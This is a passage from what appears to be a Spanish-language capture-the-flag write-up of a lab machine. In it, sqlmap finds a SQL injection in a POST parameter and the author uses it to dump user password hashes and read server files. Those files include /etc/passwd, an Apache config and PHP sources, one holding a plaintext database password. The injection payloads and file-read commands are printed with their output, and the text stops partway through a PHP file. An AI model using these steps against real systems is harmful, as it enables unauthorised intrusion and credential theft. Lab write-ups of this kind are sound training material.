 ___ ___[(]_____ ___ ___  {1.9.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:55:10 /2025-08-14/

[17:55:10] [INFO] parsing HTTP request from 'suggest_url.req'
[17:55:10] [INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=5'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[17:55:11] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:55:12] [INFO] testing if the target URL content is stable
[17:55:13] [WARNING] POST parameter 'url' does not appear to be dynamic
[17:55:14] [WARNING] heuristic (basic) test shows that POST parameter 'url' might not be injectable
[17:55:15] [INFO] testing for SQL injection on POST parameter 'url'
[17:55:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:55:18] [INFO] POST parameter 'url' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[17:55:34] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:55:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[17:55:35] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[17:55:36] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[17:55:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[17:55:37] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[17:55:38] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[17:55:39] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[17:55:39] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[17:55:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:55:41] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:55:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:55:42] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:55:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[17:55:44] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[17:55:45] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:55:46] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[17:55:46] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[17:55:50] [WARNING] reflective value(s) found and filtering out
[17:55:51] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[17:55:52] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[17:55:52] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[17:55:52] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[17:55:52] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[17:55:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[17:55:52] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[17:55:52] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[17:55:52] [INFO] testing 'Generic inline queries'
[17:55:53] [INFO] testing 'MySQL inline queries'
[17:55:54] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[17:55:55] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[17:55:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[17:55:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[17:55:57] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[17:55:58] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[17:55:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:56:11] [INFO] POST parameter 'url' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[17:56:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:56:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:56:12] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:56:15] [INFO] target URL appears to have 5 columns in query
[17:56:26] [INFO] POST parameter 'url' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'url' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: url (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[17:56:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:56:27] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vote

[17:56:28] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'

[*] ending @ 17:56:28 /2025-08-14/

Se logro realizar un dump a la base de datos vote para obtener el hash de contrasena de los usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Database: vote
[2 tables]
+-------+
| users |
| votes |
+-------+

Database: vote
Table: users
[6 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| Email     | varchar(255) |
| FirstName | varchar(255) |
| id        | int(11)      |
| LastName  | varchar(255) |
| Password  | varchar(255) |
| Username  | varchar(255) |
+-----------+--------------+

Database: vote
Table: users
[7 entries]
+----+------------------------+----------+--------------------------------------------------------------+-----------+-----------+
| id | Email                  | LastName | Password                                                     | Username  | FirstName |
+----+------------------------+----------+--------------------------------------------------------------+-----------+-----------+
| 1  | cobble@cobblestone.htb |          | $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 | admin     | Admin     |
[... snip ...]
| 4 | sckull@htb.htb         | sckull   | $2y$10$ga2Y0dI.PZz6/p0y0u3lo.h9fltdrMzDZPCbHulMahcqus05Pe8Ey | sckull    | sckull    |
+----+------------------------+----------+--------------------------------------------------------------+-----------+-----------+

Hashcat muestra un tiempo estimado de 5 horas para el hash de admin en el wordlist rockyou, despues de varios minutos no encontro el valor por lo que se omitio.

1
Time.Estimated...: ... (5 hours, 40 mins)

Privileges - FILE

Tras verificar los privilegios en sqlmap se observa FILE. Este privilegio permitiria la lectura y escritura de archivos dentro de la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
❯ sqlmap -r suggest_url.req --batch --privileges
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:02:27 /2025-08-14/

[18:02:27] [INFO] parsing HTTP request from 'suggest_url.req'
[18:02:27] [INFO] resuming back-end DBMS 'mysql' 
[18:02:27] [INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=10'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: url (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[18:02:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:02:28] [INFO] fetching database users privileges
database management system users privileges:
[*] 'voteuser'@'localhost' [1]:
    privilege: FILE

[18:02:29] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'

[*] ending @ 18:02:29 /2025-08-14/

Reading Files

Especificamos el archivo a leer con la flag --file-read, localmente observamos su contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
❯ sqlmap -r suggest_url.req --batch --file-read /etc/passwd
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.9.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:02:58 /2025-08-14/

[18:02:58] [INFO] parsing HTTP request from 'suggest_url.req'
[18:02:58] [INFO] resuming back-end DBMS 'mysql' 
[18:02:58] [INFO] testing connection to the target URL
got a 302 redirect to 'http://vote.cobblestone.htb/details.php?id=12'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: url (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=test' AND 9229=9229 AND 'Iiln'='Iiln

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: url=test' AND (SELECT 2267 FROM (SELECT(SLEEP(5)))mkIF) AND 'PBDu'='PBDu

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: url=-1201' UNION ALL SELECT NULL,CONCAT(0x7162706b71,0x796c4e5253547365696e7a49454d6e784b6c497851714f4a69667a4b4d7365535774506a775a4c6c,0x71787a6a71),NULL,NULL,NULL-- -
---
[18:02:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:02:59] [INFO] fingerprinting the back-end DBMS operating system
[18:03:00] [INFO] the back-end DBMS operating system is Linux
[18:03:00] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[18:03:04] [INFO] the local file '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1430 B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd (same file)

[18:03:04] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/vote.cobblestone.htb'

[*] ending @ 18:03:04 /2025-08-14/

❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash

Tras la lectura del archivo de configuracion de apache (/etc/apache2/sites-enabled/000-default.conf) logramos identificar los directorios del dominio y subdominios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_etc_apache2_sites-enabled_000-default.conf
<VirtualHost *:80>
	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]
	ServerName 127.0.0.1
	ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
	ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

<VirtualHost *:80>
	ServerName cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/html

	<Directory /var/www/html>
		AAHatName cobblestone
	</Directory>

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]

	Alias /cobbler /srv/www/cobbler

	<Directory /srv/www/cobbler>
		Options Indexes FollowSymLinks
		AllowOverride None
		Require all granted
	</Directory>

</VirtualHost>

<VirtualHost *:80>
	ServerName deploy.cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/deploy

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
	RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>

<VirtualHost *:80>
	ServerName vote.cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/vote

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
	RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>

Observamos que existe algun tipo de servicio/sitio en el puerto 25151.

1
2
3
4
5
6
7
8
<VirtualHost *:80>
	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]
	ServerName 127.0.0.1
	ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
	ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

Intentamos realizar una solicitud a /cobbler_api pero no logramos realizar la solicitud al localhost.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ curl  http://cobblestone.htb/cobbler_api
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at cobblestone.htb Port 80</address>
</body></html>

Nos basamos en la configuracion apache y las paginas que feroxbuster encontro para la lectura de archivos en la maquina. Se muestra el contenido de algunas paginas. Se encontraron credenciales de base de datos pero estas no fueron utiles en ninguna pagina ni el servicio SSH.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
# /var/www/html/skins.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_html_skins.php
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->

<?php
include('db/connection.php');
include('vendor/autoload.php');

session_start();

$message = $_SESSION['message'] ?? null;
$message_type = $_SESSION['message_type'] ?? null;
$suggestion_message = $_SESSION['suggestion_message'] ?? null;
$suggestion_message_type = $_SESSION['suggestion_message_type'] ?? null;


// Init Twig
$loader = new \Twig\Loader\FilesystemLoader(__DIR__ . '/templates');
$twig = new \Twig\Environment($loader);

// Fetch all skins
$stmt = $conn->prepare("SELECT * FROM skins");
$stmt->execute();
$stmt->bind_result($id, $name, $path, $imagepath);

$skins = array();
while ($stmt->fetch()) {
	$skins[] = array(
		'id' => $id,
		'Name' => $name,
		'Path' => $path,
		'ImagePath' => $imagepath
	);
}

$stmt->close();

// Fetch all users
$users = [];
$stmt = $conn->prepare("SELECT id, username, firstname, lastname, email, role, register_ip from users");
$stmt->execute();
$stmt->bind_result($id, $name, $first, $last, $email, $role, $ip);

while ($stmt->fetch()) {
	if ($ip === $_SERVER['REMOTE_ADDR'] || $ip === '*') {
		$users[] = [
			'id' => $id,
			'name' => $name,
			'first' => $first,
			'last' => $last,
			'email' => $email,
			'role' => $role
		];
	} else {
		continue;
	}
}

$stmt->close();

// Fetch all suggestions
$suggestions = [];

$stmt = $conn->prepare("SELECT id, username, name, url from suggestions");
$stmt->execute();
$stmt->bind_result($id, $username, $name, $url);

while ($stmt->fetch()) {
	$suggestions[] = [
		'id' => $id,
		'username' => $username,
		'name' => $name,
		'url' => $url,
	];
}

$stmt->close();



// Close db session
$conn->close();

// Check if session is valid
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
    exit();
}
?>

<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Skins</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">
    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container">
		<?php echo $twig->render('header.html.twig', ['first' => $_SESSION['first']]); ?>

	   <!-- Tabs Navigation -->
        <ul class="nav nav-tabs" id="skinsAdminTabs" role="tablist">
            <li class="nav-item" role="presentation">
                <button class="nav-link active text-dark" id="skins-tab" data-bs-toggle="tab" data-bs-target="#skins" type="button" role="tab" aria-controls="skins" aria-selected="true">Skins</button>
            </li>
			<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'user') {
				echo <<<HTML
				<li class="nav-item" role="presentation">
					<button class="nav-link text-dark" id="suggestskin-tab" data-bs-toggle="tab" data-bs-target="#suggestskin" type="button" role="tab" aria-controls="suggestskin" aria-selected="false">Suggest Skin</button>
				</li>
				HTML;
			} ?>
			<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') {
				echo <<<HTML
			<li class="nav-item" role="presentation">
				<button class="nav-link text-dark" id="upload-tab" data-bs-toggle="tab" data-bs-target="#upload" type="button" role="tab" aria-controls="upload" aria-selected="false">Upload Skin</button>
			</li>
			<li class="nav-item" role="presentation">
				<button class="nav-link text-dark" id="user-tab" data-bs-toggle="tab" data-bs-target="#user" type="button" role="tab" aria-controls="user" aria-selected="false">User Management</button>
			</li>
			<li class="nav-item" role="presentation">
				<button class="nav-link text-dark" id="suggest-tab" data-bs-toggle="tab" data-bs-target="#suggest" type="button" role="tab" aria-controls="suggest" aria-selected="false">Skin Suggestions</button>
			</li>
			HTML;
			} ?>
            <li class="nav-item" role="presentation">
                <a href="logout.php" class="nav-link text-dark" id="logout-tab" type="button" role="tab" aria-controls="admin" aria-selected="false">Logout</a>
            </li>
        </ul>

        <!-- Skins Content -->
        <div class="tab-content" id="skinsAdminTabsContent">
			<div class="tab-pane fade show active p-4" id="skins" role="tabpanel" aria-labelledby="skins-tab">
				<?php echo $twig->render('downloads.html.twig',['skins' => $skins]); ?>
			</div>

			<div class="tab-pane fade show p-4" id="suggestskin" role="tabpanel" aria-labelledby="suggestskin-tab">
				<?php if ($suggestion_message): ?>
					<!-- Display message -->
					<div class="alert alert-<?php echo $suggestion_message_type === 'success' ? 'success' : 'danger'; ?>" role="alert">
						<?php echo $suggestion_message; ?>
					</div>
					<?php
						// Clear the messages after displaying them
						unset($_SESSION['suggestion_message'], $_SESSION['suggestion_message_type']);
					?>
				<?php endif; ?>
				<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'user') { echo $twig->render('suggestform.html.twig',[]);	} ?>
			</div>

            <div class="tab-pane fade p-4" id="upload" role="tabpanel" aria-labelledby="upload-tab">
				<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') { echo $twig->render('upload.html.twig',[]);	} ?>
			</div>

            <div class="tab-pane fade p-4" id="user" role="tabpanel" aria-labelledby="user-tab">
				<?php if ($message): ?>
					<!-- Display message -->
					<div class="alert alert-<?php echo $message_type === 'success' ? 'success' : 'danger'; ?>" role="alert">
						<?php echo $message; ?>
					</div>
					<?php
						// Clear the messages after displaying them
						unset($_SESSION['message'], $_SESSION['message_type']);
					?>
				<?php endif; ?>

				<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') { echo $twig->render('user.html.twig',['users' => $users]); } ?>
			</div>

            <div class="tab-pane fade p-4" id="suggest" role="tabpanel" aria-labelledby="suggest-tab">
				<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') { echo $twig->render('suggest.html.twig',['suggestions' => $suggestions]); } ?>
			</div>
		</div>
		<?php if (isset($_SESSION['id']) && $_SESSION['role'] === 'admin') { echo $twig->render('footer.html.twig',[]); } ?>
	</div>

    <script>
         document.addEventListener("DOMContentLoaded", function () {
        <?php if ($message): ?>
            const userTabTrigger = document.querySelector('#user-tab');
            if (userTabTrigger) {
                userTabTrigger.click(); // Works with Bootstrap 4 and 5
            }
        <?php endif; ?>
        <?php if ($suggestion_message): ?>
            const suggestionTabTrigger = document.querySelector('#suggestskin-tab');
            if (suggestionTabTrigger) {
                suggestionTabTrigger.click(); // Works with Bootstrap 4 and 5
            }
        <?php endif; ?>
        });
    </script>

	<script src="js/jquery.min.js" type="text/javascript"></script>
    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# /var/www/html/db/connection.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_html_db_connection.php
<?php

$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
    die("Connection failed: " . $conn->connect_error);
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# /var/www/html/download.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_html_download.php
<?php
$basedir = '/var/www/html/skins/';
if ($_GET['skin']) {
    $file = basename($_GET["skin"]);
    $filepath = realpath($basedir . $file);

    if ($filepath && strpos($filepath, realpath($basedir)) === 0 && file_exists($filepath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=' .basename($file));
        header('Content-Length: ' . filesize($filepath));
        readfile($filepath);
        exit();
    } else {
        echo $filepath;
        echo "File not found.";
    }
}
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# /var/www/html/suggest_skin.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_html_suggest_skin.php
<?php


include('db/connection.php');
session_start();

if (!isset($_SESSION['role'])) {
http_response_code(403); // Optional: send 403 Forbidden
die('Access denied.');
}


$_SESSION['suggestion_message'] = '';
$_SESSION['suggestion_message_type'] = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $user = $_POST['username'];
    $name = $_POST['name'];
    $url = $_POST['url'];

    $stmt = $conn->prepare("INSERT INTO suggestions (username, name, url) VALUES (?, ?, ?)");
    $stmt->bind_param("sss", $user, $name, $url);

    if ($stmt->execute()) {
        $_SESSION['suggestion_message'] = "Suggestion has been added succesfully and will be reviewed by an admin.";
        $_SESSION['suggestion_message_type'] = "success";
        header("Location: skins.php");
        exit();
    } else {
        $_SESSION['suggestion_message'] = "Something went wrong submitting your suggestion.";
        $_SESSION['suggestion_message_type'] = "error";
        header("Location: skins.php");
        exit();
    }

    $stmt->close();
}
$conn->close();

?>
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
# /var/www/html/upload.php
❯ cat /home/kali/.local/share/sqlmap/output/vote.cobblestone.htb/files/_var_www_html_upload.php
<?php
include('db/connection.php');
session_start();

if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
    http_response_code(403);
    die('Access denied.');
}

$uploadDir = '/var/www/html/skins/';
$baseDir   = '/var/www/html';

if (!is_dir($uploadDir)) {
    if (!mkdir($uploadDir, 0755, true)) {
        http_response_code(500);
        die('Upload directory is missing and cannot be created.');
    }
}

if (!isset($_FILES['images']) || !is_array($_FILES['images']['name']) || count($_FILES['images']['name']) !== 2) {
    http_response_code(400);
    die('Please select two image files to upload.');
}

$finfo = new finfo(FILEINFO_MIME_TYPE);
$storedPaths = [];
$writtenFiles = [];

